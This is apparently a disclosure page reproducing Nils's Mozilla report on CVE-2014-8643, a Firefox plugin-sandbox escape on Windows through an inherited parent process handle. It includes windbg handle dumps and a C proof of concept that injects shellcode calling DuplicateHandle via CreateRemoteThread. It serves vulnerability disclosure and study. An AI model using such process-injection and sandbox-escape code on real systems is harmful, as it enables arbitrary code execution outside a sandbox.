Skip to content
Access control Disclosed report CVE-2014-8643

GMP sandbox break-out on Windows through process handle

Nils Follow

Originally disclosed on Mozilla

Critical View original
  • Fixed in 6 days
  • Paid in 10 days
  • Disclosed after 6 days
Text
The sandboxed plugin-container.exe process on Windows holds a handle to the parent process. We can observe this in windbg:

0:007:x86> !handle 18c 1
Handle 18c
  Type         	Process
0:007:x86> !handle 18c 2
Handle 18c
  Attributes   	0
  GrantedAccess	0x101441:
         Synch
         
  HandleCount  	9
  PointerCount 	283079
0:007:x86> !handle 18c 8
Handle 18c
  Object Specific Information
    Process Id  5868
    Parent Process  1720
    Base Priority 8

While the access rights on this handle are somewhat limited (0x101441) it still allows us to duplicate handles in the parent process (PROCESS_DUP_HANDLE). Using DuplicateHandle we can issue a call that duplicate the process handle from the parent process to our current process (-1 a pseudo handles to the parent and current (sandboxed process):

DuplicateHandle(0x18c, -1, -1, 0, 0, 0, 2)

The call will succeed and a new handle to the parent process is created in the sandboxed child. This handle has full access to the parent which then allows for executing arbitrary code in the parent through CreateRemoteThread:

0:007:x86> !handle 36c 1
Handle 36c
  Type         	Process
0:007:x86> !handle 36c 2
Handle 36c
  Attributes   	0
  GrantedAccess	0x1fffff:
         Delete,ReadControl,WriteDac,WriteOwner,Synch
         
  HandleCount  	9
  PointerCount 	282785
0:007:x86> !handle 36c 8
Handle 36c
  Object Specific Information
    Process Id  5868
    Parent Process  1720
    Base Priority 8


This is a quick and dirty PoC which injects a "shellcode" into the sandboxed process (PID on the command line and address of DuplicateHandle and the Handle are currently hardcoded):


#include "stdafx.h"
#include <stdio.h>
#include <Windows.h>

unsigned char code[] = ""
"\xcc\xcc\x90\x90"
"\x6A\x02"           // PUSH 0 duplicate same access
"\x6A\x00"           // PUSH 0 inherit
"\x6A\x00"           // PUSH 0 dwDesiredAccess
"\x6A\x00"           // PUSH 0 lpTargetHandle
"\x68\xff\xff\xff\xff"//PUSH 0 // hTargetProcessHandle
"\x68\xff\xff\xff\xff"//PUSH 0 // hSourceHandle
"\x68\x8c\x01\x00\x00"//PUSH 18C // hSourceProcessHandle
"\x68\x00\x87\x5f\x76"//PUSH 765f8700  <--- ptr to kernel32!DuplicateHandle
"\x58"		//          POP EAX
"\xFF\xD0"  //          CALL EAX
"\xcc\xcc\x90\x90\xc3";

int _tmain(int argc, _TCHAR* argv[])
{
	INT pid = _wtoi(argv[1]);
	printf("[-] Attaching to process %d\n", pid);
	HANDLE hProcess = OpenProcess(PROCESS_ALL_ACCESS, TRUE, pid);
	printf("[-] Process handle: 0x%x\n", hProcess);
	VOID *dllname = VirtualAllocEx(hProcess, NULL, sizeof(code), MEM_COMMIT, PAGE_EXECUTE_READWRITE);
	WriteProcessMemory(hProcess, dllname, (void*)code, sizeof(code), NULL);
	printf("[-] remote code: %x\n", dllname);
	HANDLE hThread = CreateRemoteThread(hProcess, NULL, 0, (LPTHREAD_START_ROUTINE) dllname, dllname, 0, NULL);
	printf("[-] Remote thread: %x\n", hThread);
	WaitForSingleObject(hThread, INFINITE);
	CloseHandle(hThread);
	CloseHandle(hProcess);
	return 0;
}

The original report as published on Mozilla's Bugzilla, by Nils. Images and videos are our own copies; raw HTML is shown as text. View it on Mozilla's Bugzilla.

Not written yet. The AI write-up for this report has not been written yet. The Original tab links to the source.

What is known

A critical-severity access control bug in IPC. Mozilla made it public on 8 January 2015 as CVE-2014-8643.

About Access control

A user can do something their role should not allow: reach an admin function, act on a feature they have not paid for, or skip a permission check. IDOR is the special case where the object belongs to someone else.

Not written yet. The AI write-up for this report has not been written yet. The Original tab links to the source.

What is Access control?

A user can do something their role should not allow: reach an admin function, act on a feature they have not paid for, or skip a permission check. IDOR is the special case where the object belongs to someone else.

More by Nils

View all

133 more disclosed reports, best first.

More from Mozilla

View all

The newest disclosed reports for this program.

Similar reports

View all

Same bug class and techniques, clearest first.

Broken access control

The lesson behind this report.

A user can do something their role should not allow: reach an admin function, act on a feature they have not paid for, or skip a permission check. IDOR is the special case where the object belongs to someone else.